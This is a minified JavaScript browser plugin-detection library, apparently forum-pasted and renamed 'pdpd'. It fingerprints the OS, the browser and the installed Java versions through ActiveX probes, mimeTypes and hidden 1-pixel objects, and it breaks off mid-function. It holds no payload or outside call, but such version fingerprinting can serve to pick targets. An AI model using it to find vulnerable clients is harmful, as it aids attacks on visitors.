| 复制代码pdpd = {
    version: "0.7.9",
    name: "pdpd",
    handler: function(c, b, a) {
        return function() {
            c(b, a)
        }
    },
    openTag: "<",
    isDefined: function(b) {
        return typeof b != "undefined"
    },
    isArray: function(b) {
        return (/array/i).test(Object.prototype.toString.call(b))
    },
    isFunc: function(b) {
        return typeof b == "function"
    },
    isString: function(b) {
        return typeof b == "string"
    },
    isNum: function(b) {
        return typeof b == "number"
    },
    isStrNum: function(b) {
        return (typeof b == "string" && (/\d/).test(b))
    },
    getNumRegx: /[\d][\d\.\_,-]*/,
    splitNumRegx: /[\.\_,-]/g,
    getNum: function(b, c) {
        var d = this,
            a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
        return a ? a[0] : null
    },
    compareNums: function(h, f, d) {
        var e = this,
            c, b, a, g = parseInt;
        if (e.isStrNum(h) && e.isStrNum(f)) {
            if (e.isDefined(d) && d.compareNums) {
                return d.compareNums(h, f)
            }
            c = h.split(e.splitNumRegx);
            b = f.split(e.splitNumRegx);
            for (a = 0; a < Math.min(c.length, b.length); a++) {
                if (g(c[a], 10) > g(b[a], 10)) {
                    return 1
                }
                if (g(c[a], 10) < g(b[a], 10)) {
                    return -1
                }
            }
        }
        return 0
    },
    formatNum: function(b, c) {
        var d = this,
            a, e;
        if (!d.isStrNum(b)) {
            return null
        }
        if (!d.isNum(c)) {
            c = 4
        }
        c--;
        e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
        for (a = 0; a < 4; a++) {
            if (/^(0+)(.+)$/.test(e[a])) {
                e[a] = RegExp.$2
            }
            if (a > c || !(/\d/).test(e[a])) {
                e[a] = "0"
            }
        }
        return e.slice(0, 4).join(",")
    },
    $hasMimeType: function(a) {
        return function(c) {
            if (!a.isIE && c) {
                var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
                for (b = 0; b < d.length; b++) {
                    if (a.isString(d[b]) && /[^\s]/.test(d[b])) {
                        f = navigator.mimeTypes[d[b]];
                        e = f ? f.enabledPlugin : 0;
                        if (e && (e.name || e.description)) {
                            return f
                        }
                    }
                }
            }
            return null
        }
    },
    findNavPlugin: function(l, e, c) {
        var j = this,
            h = new RegExp(l, "i"),
            d = (!j.isDefined(e) || e) ? /\d/ : 0,
            k = c ? new RegExp(c, "i") : 0,
            a = navigator.plugins,
            g = "",
            f, b, m;
        for (f = 0; f < a.length; f++) {
            m = a[f].description || g;
            b = a[f].name || g;
            if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
                if (!k || !(k.test(m) || k.test(b))) {
                    return a[f]
                }
            }
        }
        return null
    },
    getMimeEnabledPlugin: function(k, m, c) {
        var e = this,
            f, b = new RegExp(m, "i"),
            h = "",
            g = c ? new RegExp(c, "i") : 0,
            a, l, d, j = e.isString(k) ? [k] : k;
        for (d = 0; d < j.length; d++) {
            if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
                l = f.description || h;
                a = f.name || h;
                if (b.test(l) || b.test(a)) {
                    if (!g || !(g.test(l) || g.test(a))) {
                        return f
                    }
                }
            }
        }
        return 0
    },
    getPluginFileVersion: function(f, b) {
        var h = this,
            e, d, g, a, c = -1;
        if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
            return b
        }
        if (!b) {
            return e
        }
        e = h.formatNum(e);
        b = h.formatNum(b);
        d = b.split(h.splitNumRegx);
        g = e.split(h.splitNumRegx);
        for (a = 0; a < d.length; a++) {
            if (-1 < c && c < a && !(d[a] == "0")) {
                return b
            }
            if (g[a] != d[a]) {
                if (c == -1) {
                    c = a
                }
                if (d[a] != "0") {
                    return b
                }
            }
        }
        return e
    },
    AXO: window.ActiveXObject,
    getAXO: function(a) {
        var f = null,
            d, b = this,
            c = {};
        try {
            f = new b.AXO(a)
        } catch (d) {}
        return f
    },
    convertFuncs: function(f) {
        var a, g, d, b = /^[\$][\$]/,
            c = this;
        for (a in f) {
            if (b.test(a)) {
                try {
                    g = a.slice(2);
                    if (g.length > 0 && !f[g]) {
                        f[g] = f[a](f);
                        delete f[a]
                    }
                } catch (d) {}
            }
        }
    },
    initObj: function(e, b, d) {
        var a, c;
        if (e) {
            if (e[b[0]] == 1 || d) {
                for (a = 0; a < b.length; a = a + 2) {
                    e[b[a]] = b[a + 1]
                }
            }
            for (a in e) {
                c = e[a];
                if (c && c[b[0]] == 1) {
                    this.initObj(c, b)
                }
            }
        }
    },
    initScript: function() {
        var d = this,
            a = navigator,
            h, i = document,
            l = a.userAgent || "",
            j = a.vendor || "",
            b = a.platform || "",
            k = a.product || "";
        d.initObj(d, ["$", d]);
        for (h in d.Plugins) {
            if (d.Plugins[h]) {
                d.initObj(d.Plugins[h], ["$", d, "$", d.Plugins[h]], 1)
            }
        }
        d.convertFuncs(d);
        d.OS = 100;
        if (b) {
            var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win." + "*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
            for (h = g.length - 2; h >= 0; h = h - 2) {
                if (g[h] && new RegExp(g[h], "i").test(b)) {
                    d.OS = g[h + 1];
                    break
                }
            }
        };
        d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.body || null;
        d.isIE = new Function("return/*@cc_on!@*/!1")();
        d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null;
        d.ActiveXEnabled = false;
        if (d.isIE) {
            var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
            for (h = 0; h < m.length; h++) {
                if (d.getAXO(m[h])) {
                    d.ActiveXEnabled = true;
                    break
                }
            }
        };
        d.isGecko = (/Gecko\s*\/\s*\d/i).test(l) && (/Gecko/i).test(k);
        d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 : "0.9") : null;
        d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
        d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
        d.isSafari = ((/Apple/i).test(j) || (!j && !d.isChrome)) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
        d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(RegExp.$1) : null;
        d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
        d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(RegExp.$1, 10) : null;
        d.addWinEvent("load", d.handler(d.runWLfuncs, d))
    },
    init: function(d) {
        var c = this,
            b, d, a = {
                status: -3,
                plugin: 0
            };
        if (!c.isString(d)) {
            return a
        }
        if (d.length == 1) {
            c.getVersionDelimiter = d;
            return a
        }
        d = d.toLowerCase().replace(/\s/g, "");
        b = c.Plugins[d];
        if (!b || !b.getVersion) {
            return a
        }
        a.plugin = b;
        if (!c.isDefined(b.installed)) {
            b.installed = null;
            b.version = null;
            b.version0 = null;
            b.getVersionDone = null;
            b.pluginName = d
        }
        c.garbage = false;
        if (c.isIE && !c.ActiveXEnabled && d !== "Ja" + "va") {
            a.status = -2;
            return a
        }
        a.status = 1;
        return a
    },
    fPush: function(b, a) {
        var c = this;
        if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[0]) && 0 < b.length))) {
            a.push(b)
        }
    },
    callArray: function(b) {
        var c = this,
            a;
        if (c.isArray(b)) {
            for (a = 0; a < b.length; a++) {
                if (b[a] === null) {
                    return
                }
                c.call(b[a]);
                b[a] = null
            }
        }
    },
    call: function(c) {
        var b = this,
            a = b.isArray(c) ? c.length : -1;
        if (0 < a && b.isFunc(c[0])) {
            c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
        } else {
            if (b.isFunc(c)) {
                c(b)
            }
        }
    },
    $isMinVersion: function(a) {
        return function(h, g, d, c) {
            var e = a.init(h),
                f, b = -1,
                j = {};
            if (e.status < 0) {
                return e.status
            }
            f = e.plugin;
            g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0"));
            if (f.getVersionDone != 1) {
                f.getVersion(g, d, c);
                if (f.getVersionDone === null) {
                    f.getVersionDone = 1
                }
            }
            a.cleanup();
            if (f.installed !== null) {
                b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version === null ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 : -0.1)))
            };
            return b
        }
    },
    getVersionDelimiter: ",",
    $getVersion: function(a) {
        return function(g, d, c) {
            var e = a.init(g),
                f, b, h = {};
            if (e.status < 0) {
                return null
            };
            f = e.plugin;
            if (f.getVersionDone != 1) {
                f.getVersion(null, d, c);
                if (f.getVersionDone === null) {
                    f.getVersionDone = 1
                }
            }
            a.cleanup();
            b = (f.version || f.version0);
            b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
            return b
        }
    },
    cleanup: function() {
        var a = this;
        if (a.garbage && a.isDefined(window.CollectGarbage)) {
            window.CollectGarbage()
        }
    },
    addWinEvent: function(d, c) {
        var e = this,
            a = window,
            b;
        if (e.isFunc(c)) {
            if (a.addEventListener) {
                a.addEventListener(d, c, false)
            } else {
                if (a.attachEvent) {
                    a.attachEvent("on" + d, c)
                } else {
                    b = a["on" + d];
                    a["on" + d] = e.winHandler(c, b)
                }
            }
        }
    },
    winHandler: function(d, c) {
        return function() {
            d();
            if (typeof c == "function") {
                c()
            }
        }
    },
    WLfuncs0: [],
    WLfuncs: [],
    runWLfuncs: function(a) {
        var b = {};
        a.winLoaded = true;
        a.callArray(a.WLfuncs0);
        a.callArray(a.WLfuncs);
        if (a.onDoneEmptyDiv) {
            a.onDoneEmptyDiv()
        }
    },
    winLoaded: false,
    $onWindowLoaded: function(a) {
        return function(b) {
            if (a.winLoaded) {
                a.call(b)
            } else {
                a.fPush(b, a.WLfuncs)
            }
        }
    },
    $onDetectionDone: function(a) {
        return function(h, g, c, b) {
            var d = a.init(h),
                k, e, j = {};
            if (d.status == -3) {
                return -1
            }
            e = d.plugin;
            if (!a.isArray(e.funcs)) {
                e.funcs = []
            }
            if (e.getVersionDone != 1) {
                k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
            }
            if (e.installed != -0.5 && e.installed != 0.5) {
                a.call(g);
                return 1
            }
            if (e.NOTF) {
                a.fPush(g, e.funcs);
                return 0
            }
            return 1
        }
    },
    div: null,
    divID: "pdpd",
    divWidth: 50,
    pluginSize: 1,
    emptyDiv: function() {
        var d = this,
            b, h, c, a, f, g;
        if (d.div && d.div.childNodes) {
            for (b = d.div.childNodes.length - 1; b >= 0; b--) {
                c = d.div.childNodes[b];
                if (c && c.childNodes) {
                    for (h = c.childNodes.length - 1; h >= 0; h--) {
                        g = c.childNodes[h];
                        try {
                            c.removeChild(g)
                        } catch (f) {}
                    }
                }
                if (c) {
                    try {
                        d.div.removeChild(c)
                    } catch (f) {}
                }
            }
        }
        if (!d.div) {
            a = document.getElementById(d.divID);
            if (a) {
                d.div = a
            }
        }
        if (d.div && d.div.parentNode) {
            try {
                d.div.parentNode.removeChild(d.div)
            } catch (f) {}
            d.div = null
        }
    },
    DONEfuncs: [],
    onDoneEmptyDiv: function() {
        var c = this,
            a, b;
        if (!c.winLoaded) {
            return
        }
        if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
            return
        }
        for (a in c) {
            b = c[a];
            if (b && b.funcs) {
                if (b.OTF == 3) {
                    return
                }
                if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
                    return
                }
            }
        }
        for (a = 0; a < c.DONEfuncs.length; a++) {
            c.callArray(c.DONEfuncs)
        }
        c.emptyDiv()
    },
    getWidth: function(c) {
        if (c) {
            var a = c.scrollWidth || c.offsetWidth,
                b = this;
            if (b.isNum(a)) {
                return a
            }
        }
        return -1
    },
    getTagStatus: function(m, g, a, b) {
        var c = this,
            f, k = m.span,
            l = c.getWidth(k),
            h = a.span,
            j = c.getWidth(h),
            d = g.span,
            i = c.getWidth(d);
        if (!k || !h || !d || !c.getDOMobj(m)) {
            return -2
        }
        if (j < i || 0 > l || 0 > j || 0 > i || i <= c.pluginSize || c.pluginSize < 1) {
            return 0
        }
        if (l >= i) {
            return -1
        }
        try {
            if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
                if (!m.winLoaded && c.winLoaded) {
                    return 1
                }
                if (m.winLoaded && c.isNum(b)) {
                    if (!c.isNum(m.count)) {
                        m.count = b
                    }
                    if (b - m.count >= 10) {
                        return 1
                    }
                }
            }
        } catch (f) {}
        return 0
    },
    getDOMobj: function(g, a) {
        var f, d = this,
            c = g ? g.span : 0,
            b = c && c.firstChild ? 1 : 0;
        try {
            if (b && a) {
                d.div.focus()
            }
        } catch (f) {}
        return b ? c.firstChild : null
    },
    setStyle: function(b, g) {
        var f = b.style,
            a, d, c = this;
        if (f && g) {
            for (a = 0; a < g.length; a = a + 2) {
                try {
                    f[g[a]] = g[a + 1]
                } catch (d) {}
            }
        }
    },
    insertDivInBody: function(i, g) {
        var f, c = this,
            h = "pd33993399",
            b = null,
            d = g ? window.top.document : window.document,
            a = d.getElementsByTagName("body")[0] || d.body;
        if (!a) {
            try {
                d.write('<div id="' + h + '">.' + c.openTag + "/div>");
                b = d.getElementById(h)
            } catch (f) {}
        }
        a = d.getElementsByTagName("body")[0] || d.body;
        if (a) {
            a.insertBefore(i, a.firstChild);
            if (b) {
                a.removeChild(b)
            }
        }
    },
    insertHTML: function(f, b, g, a, k) {
        var l, m = document,
            j = this,
            p, o = m.createElement("span"),
            n, i;
        var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
        var h = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
        if (!j.isDefined(a)) {
            a = ""
        }
        if (j.isString(f) && (/[^\s]/).test(f)) {
            f = f.toLowerCase().replace(/\s/g, "");
            p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
            p += 'style="' + h + 'display:inline;" ';
            for (n = 0; n < b.length; n = n + 2) {
                if (/[^\s]/.test(b[n + 1])) {
                    p += b[n] + '="' + b[n + 1] + '" '
                }
            }
            p += ">";
            for (n = 0; n < g.length; n = n + 2) {
                if (/[^\s]/.test(g[n + 1])) {
                    p += j.openTag + 'param name="' + g[n] + '" value="' + g[n + 1] + '" />'
                }
            }
            p += a + j.openTag + "/" + f + ">"
        } else {
            p = a
        }
        if (!j.div) {
            i = m.getElementById(j.divID);
            if (i) {
                j.div = i
            } else {
                j.div = m.createElement("div");
                j.div.id = j.divID
            }
            j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
            if (!i) {
                j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"]);
                j.insertDivInBody(j.div)
            }
        }
        if (j.div && j.div.parentNode) {
            j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
            try {
                o.innerHTML = p
            } catch (l) {};
            try {
                j.div.appendChild(o)
            } catch (l) {};
            return {
                span: o,
                winLoaded: j.winLoaded,
                tagName: f,
                outerHTML: p
            }
        }
        return {
            span: null,
            winLoaded: j.winLoaded,
            tagName: "",
            outerHTML: p
        }
    },
    file: {
        $: 1,
        any: "fileStorageAny999",
        valid: "fileStorageValid999",
        save: function(d, f, c) {
            var b = this,
                e = b.$,
                a;
            if (d && e.isDefined(c)) {
                if (!d[b.any]) {
                    d[b.any] = []
                }
                if (!d[b.valid]) {
                    d[b.valid] = []
                }
                d[b.any].push(c);
                a = b.split(f, c);
                if (a) {
                    d[b.valid].push(a)
                }
            }
        },
        getValidLength: function(a) {
            return a && a[this.valid] ? a[this.valid].length : 0
        },
        getAnyLength: function(a) {
            return a && a[this.any] ? a[this.any].length : 0
        },
        getValid: function(c, a) {
            var b = this;
            return c && c[b.valid] ? b.get(c[b.valid], a) : null
        },
        getAny: function(c, a) {
            var b = this;
            return c && c[b.any] ? b.get(c[b.any], a) : null
        },
        get: function(d, a) {
            var c = d.length - 1,
                b = this.$.isNum(a) ? a : c;
            return (0 > b || b > c) ? null : d[b]
        },
        split: function(g, c) {
            var b = this,
                e = b.$,
                f = null,
                a, d;
            g = g ? g.replace(".", "\.") : "";
            d = new RegExp("^(.*[^\/])(" + g + "\s*)$");
            if (e.isString(c) && d.test(c)) {
                a = (RegExp.$1).split("/");
                f = {
                    name: a[a.length - 1],
                    ext: RegExp.$2,
                    full: c
                };
                a[a.length - 1] = "";
                f.path = a.join("/")
            }
            return f
        },
        z: 0
    },
    Plugins: {
        java: {
            mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
            classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
            navigator: {
                a: window.navigator.javaEnabled(),
                javaEnabled: function() {
                    return this.a
                },
                mimeObj: 0,
                pluginObj: 0
            },
            OTF: null,
            minIEver: 7,
            debug: 0,
            debugEnable: function() {
                var a = this,
                    b = a.$;
                a.debug = 1
            },
            isDisabled: {
                $: 1,
                DTK: function() {
                    var a = this,
                        c = a.$,
                        b = a.$;
                    if ((c.isGecko && c.compareNums(c.verGecko, c.formatNum("1.6")) <= 0) || (c.isSafari && c.OS == 1 && (!c.verSafari || 0 > c.compareNums(c.verSafari, "5,1,0,0"))) || c.isChrome || (c.isIE && !c.ActiveXEnabled)) {
                        return 1
                    }
                    return 0
                },
                AXO: function() {
                    var a = this,
                        c = a.$,
                        b = a.$;
                    return (!c.isIE || !c.ActiveXEnabled || (!b.debug && b.DTK.query().status !== 0))
                },
                navMime: function() {
                    var b = this,
                        d = b.$,
                        c = b.$,
                        a = c.navigator;
                    if (d.isIE || !a.mimeObj || !a.pluginObj) {
                        return 1
                    }
                    return 0
                },
                navPlugin: function() {
                    var b = this,
                        d = b.$,
                        c = b.$,
                        a = c.navigator;
                    if (d.isIE || !a.mimeObj || !a.pluginObj) {
                        return 1
                    }
                    return 0
                },
                windowDotJava: function() {
                    var a = this,
                        c = a.$,
                        b = a.$;
                    if (!window.java) {
                        return 1
                    }
                    if (c.OS == 2 && c.verOpera > 8 && c.verOpera && c.verOpera < (9.3 - 0.1)) {
                        return 1
                    }
                    return 0
                },
                allApplets: function() {
                    var b = this,
                        d = b.$,
                        c = b.$,
                        a = c.navigator;
                    if (d.OS >= 20) {
                        return 0
                    }
                    if (d.verOpera && d.verOpera < 11 && !a.javaEnabled() && !c.lang.System.getProperty()[0]) {
                        return 1
                    }
                    if ((d.verGecko && 0 > d.compareNums(d.verGecko, d.formatNum("2"))) && !a.mimeObj && !c.lang.System.getProperty()[0]) {
                        return 1
                    }
                    return 0
                },
                AppletTag: function() {
                    var b = this,
                        d = b.$,
                        c = b.$,
                        a = c.navigator;
                    return d.isIE ? !a.javaEnabled() : 0
                },
                ObjectTag: function() {
                    var a = this,
                        c = a.$,
                        b = a.$;
                    return c.isIE ? !c.ActiveXEnabled : 0
                },
                z: 0
            },
            getVerifyTagsDefault: function() {
                var a = this,
                    c = a.$,
                    b = [1, 0, 1];
                if (c.OS >= 20) {
                    return b
                }
                if ((c.isIE && (c.verIE < 9 || !c.ActiveXEnabled)) || (c.verGecko && 0 > c.compareNums(c.verGecko, c.formatNum("2"))) || (c.isSafari && (!c.verSafari || 0 > c.compareNums(c.verSafari, c.formatNum("4")))) || (c.verOpera && c.verOpera < 10)) {
                    b = [1, 1, 1]
                }
                return b
            },
            getVersion: function(j, g, i) {
                var b = this,
                    d = b.$,
                    e, a = b.applet,
                    h = b.verify,
                    k = b.navigator,
                    f = null,
                    l = null,
                    c = null;
                if (b.getVersionDone === null) {
                    b.OTF = 0;
                    k.mimeObj = d.hasMimeType(b.mimeType);
                    if (k.mimeObj) {
                        k.pluginObj = k.mimeObj.enabledPlugin
                    }
                    if (h) {
                        h.begin()
                    }
                }
                a.setVerifyTagsArray(i);
                d.file.save(b, ".jar", g);
                if (b.getVersionDone === 0) {
                    if (a.should_Insert_Query_Any()) {
                        e = a.insert_Query_Any();
                        b.setPluginStatus(e[0], e[1], f)
                    }
                    return
                }
                if ((!f || b.debug) && b.DTK.query().version) {
                    f = b.DTK.version
                }
                if ((!f || b.debug) && b.navMime.query().version) {
                    f = b.navMime.version
                }
                if ((!f || b.debug) && b.navPlugin.query().version) {
                    f = b.navPlugin.version
                }
                if ((!f || b.debug) && b.AXO.query().version) {
                    f = b.AXO.version
                }
                if (b.nonAppletDetectionOk(f)) {
                    c = f
                }
                if (!c || b.debug || a.VerifyTagsHas(2.2) || a.VerifyTagsHas(2.5)) {
                    e = b.lang.System.getProperty();
                    if (e[0]) {
                        f = e[0];
                        c = e[0];
                        l = e[1]
                    }
                }
                b.setPluginStatus(c, l, f);
                if (a.should_Insert_Query_Any()) {
                    e = a.insert_Query_Any();
                    if (e[0]) {
                        c = e[0];
                        l = e[1]
                    }
                }
                b.setPluginStatus(c, l, f)
            },
            nonAppletDetectionOk: function(b) {
                var d = this,
                    e = d.$,
                    a = d.navigator,
                    c = 1;
                if (!b || (!a.javaEnabled() && !d.lang.System.getPropertyHas(b)) || (!e.isIE && !a.mimeObj && !d.lang.System.getPropertyHas(b)) || (e.isIE && !e.ActiveXEnabled)) {
                    c = 0
                } else {
                    if (e.OS >= 20) {} else {
                        if (d.info && 0 > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2()) {
                            c = 0
                        }
                    }
                }
                return c
            },
            setPluginStatus: function(d, f, a) {
                var c = this,
                    e = c.$,
                    b;
                a = a || c.version0;
                if (0 < c.OTF) {
                    d = d || c.lang.System.getProperty()[0]
                }
                if (c.OTF < 3) {
                    b = d ? 1 : (a ? -0.2 : -1);
                    if (c.installed === null || b > c.installed) {
                        c.installed = b
                    }
                }
                if (c.OTF == 2 && c.NOTF && !c.applet.getResult()[0] && !c.lang.System.getProperty()[0]) {
                    c.installed = a ? -0.2 : -1
                };
                if (c.OTF == 3 && c.installed != -0.5 && c.installed != 0.5) {
                    c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ? 0.5 : -0.5
                }
                if (c.OTF == 4 && (c.installed == -0.5 || c.installed == 0.5)) {
                    if (d) {
                        c.installed = 1
                    } else {
                        if (c.NOTF.isJavaActive(1) == 1) {
                            if (a) {
                                c.installed = 1;
                                d = a
                            } else {
                                c.installed = 0
                            }
                        } else {
                            if (a) {
                                c.installed = -0.2
                            } else {
                                c.installed = -1
                            }
                        }
                    }
                };
                if (a) {
                    c.version0 = e.formatNum(e.getNum(a))
                }
                if (d) {
                    c.version = e.formatNum(e.getNum(d))
                }
                if (f && e.isString(f)) {
                    c.vendor = f
                }
                if (!c.vendor) {
                    c.vendor = ""
                }
                if (c.verify && c.verify.isEnabled()) {
                    c.getVersionDone = 0
                } else {
                    if (c.getVersionDone != 1) {
                        if (c.OTF < 2) {
                            c.getVersionDone = 0
                        } else {
                            c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
                        }
                    }
                }
            },
            DTK: {
                $: 1,
                hasRun: 0,
                status: null,
                VERSIONS: [],
                version: "",
                HTML: null,
                Plugin2Status: null,
                classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
                mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
                disabled: function() {
                    return this.$.isDisabled.DTK()
                },
                query: function() {
                    var k = this,
                        g = k.$,
                        d = k.$,
                        j, l, h, m = {},
                        f = {},
                        a, c = null,
                        i = null,
                        b = (k.hasRun || k.disabled());
                    k.hasRun = 1;
                    if (b) {
                        return k
                    }
                    k.status = 0;
                    if (g.isIE && 6 <= g.verIE) {
                        for (l = 0; l < k.classID.length; l++) {
                            k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
                            c = g.getDOMobj(k.HTML);
                            try {
                                if (c && c.jvms) {
                                    break
                                }
                            } catch (j) {}
                        }
                    } else {
                        if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type) {
                            k.HTML = g.insertHTML("object", ["type", h.type], []);
                            c = g.getDOMobj(k.HTML)
                        }
                    }
                    if (c) {
                        try {
                            a = c.jvms;
                            if (a) {
                                i = a.getLength();
                                if (g.isNum(i)) {
                                    k.status = 0 < i ? 1 : -1;
                                    for (l = 0; l < i; l++) {
                                        h = g.getNum(a.get(i - 1 - l).version);
                                        if (h) {
                                            k.VERSIONS.push(h);
                                            f["a" + g.formatNum(h)] = 1
                                        }
                                    }
                                }
                            }
                        } catch (j) {}
                    }
                    h = 0;
                    for (l in f) {
                        h++
                    }
                    if (h && h !== k.VERSIONS.length) {
                        k.VERSIONS = []
                    }
                    if (k.VERSIONS.length) {
                        k.version = g.formatNum(k.VERSIONS[0])
                    };
                    return k
                }
            },
            AXO: {
                $: 1,
                hasRun: 0,
                VERSIONS: [],
                version: "",
                disabled: function() {
                    return this.$.isDisabled.AXO()
                },
                JavaVersions: [
                    [1, 9, 1, 40],
                    [1, 8, 1, 40],
                    [1, 7, 1, 40],
                    [1, 6, 0, 40],
                    [1, 5, 0, 30],
                    [1, 4, 2, 30],
                    [1, 3, 1, 30]
                ],
                query: function() {
                    var a = this,
                        e = a.$,
                        b = a.$,
                        c = (a.hasRun || a.disabled());
                    a.hasRun = 1;
                    if (c) {
                        return a
                    }
                    var i = [],
                        k = [1, 5, 0, 14],
                        j = [1, 6, 0, 2],
                        h = [1, 3, 1, 0],
                        g = [1, 4, 2, 0],
                        f = [1, 5, 0, 7],
                        d = b.getInfo ? true : false,
                        l = {};
                    if (b.minIEver <= e.verIE) {
                        i = a.search(j, j, d);
                        if (0 < i.length && d) {
                            i = a.search(k, k, d)
                        }
                    } else {
                        if (d) {
                            i = a.search(f, f, true)
                        }
                        if (i.length == 0) {
                            i = a.search(h, g, false)
                        }
                    }
                    if (i.length) {
                        a.version = i[0];
                        a.VERSIONS = [].concat(i)
                    };
                    return a
                },
                search: function(a, j, p) {
                    var h, d, f = this,
                        e = f.$,
                        k = f.$,
                        n, c, l, q, b, o, r, i = [];
                    if (0 < e.compareNums(a.join(","), j.join(","))) {
                        j = a
                    }
                    j = e.formatNum(j.join(","));
                    var m, s = "1,4,2,0",
                        g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + (0 < a[3] ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : "");
                    for (h = 0; h < f.JavaVersions.length; h++) {
                        d = f.JavaVersions[h];
                        n = "JavaPlugin." + d[0] + "" + d[1];
                        b = d[0] + "." + d[1] + ".";
                        for (l = d[2]; l >= 0; l--) {
                            r = "JavaWebStart.isInstalled." + b + l + ".0";
                            if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 && !e.getAXO(r)) {
                                continue
                            }
                            m = 0 > e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) ? true : false;
                            for (q = d[3]; q >= 0; q--) {
                                c = l + "_" + (q < 10 ? "0" + q : q);
                                o = n + c;
                                if (e.getAXO(o) && (m || e.getAXO(r))) {
                                    i.push(b + c);
                                    if (!p) {
                                        return i
                                    }
                                }
                                if (o == g) {
                                    return i
                                }
                            }
                            if (e.getAXO(n + l) && (m || e.getAXO(r))) {
                                i.push(b + l);
                                if (!p) {
                                    return i
                                }
                            }
                            if (n + l == g) {
                                return i
                            }
                        }
                    }
                    return i
                }
            },
            navMime: {
                $: 1,
                hasRun: 0,
                mimetype: "",
                version: "",
                length: 0,
                mimeObj: 0,
                pluginObj: 0,
                disabled: function() {
                    return this.$.isDisabled.navMime()
                },
                query: function() {
                    var i = this,
                        f = i.$,
                        a = i.$,
                        b = (i.hasRun || i.disabled());
                    i.hasRun = 1;
                    if (b) {
                        return i
                    };
                    var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
                        g, l, j, d = "",
                        h = "a",
                        o, m, k = {},
                        c = f.formatNum("0");
                    for (l = 0; l < navigator.mimeTypes.length; l++) {
                        o = navigator.mimeTypes[l];
                        m = o ? o.enabledPlugin : 0;
                        g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
                        if (g && m && (m.description || m.name)) {
                            if (!k[h + g]) {
                                i.length++
                            }
                            k[h + g] = o.type;
                            if (0 < f.compareNums(g, c)) {
                                c = g
                            }
                        }
                    }
                    g = k[h + c];
                    if (g) {
                        o = f.hasMimeType(g);
                        i.mimeObj = o;
                        i.pluginObj = o ? o.enabledPlugin : 0;
                        i.mimetype = g;
                        i.version = c
                    };
                    return i
                }
            },
            navPlugin: {
                $: 1,
                hasRun: 0,
                version: "",
                disabled: function() {
                    return this.$.isDisabled.navPlugin()
                },
                query: function() {
                    var m = this,
                        e = m.$,
                        c = m.$,
                        h = c.navigator,
                        j, l, k, g, d, a, i, f = 0,
                        b = (m.hasRun || m.disabled());
                    m.hasRun = 1;
                    if (b) {
                        return m
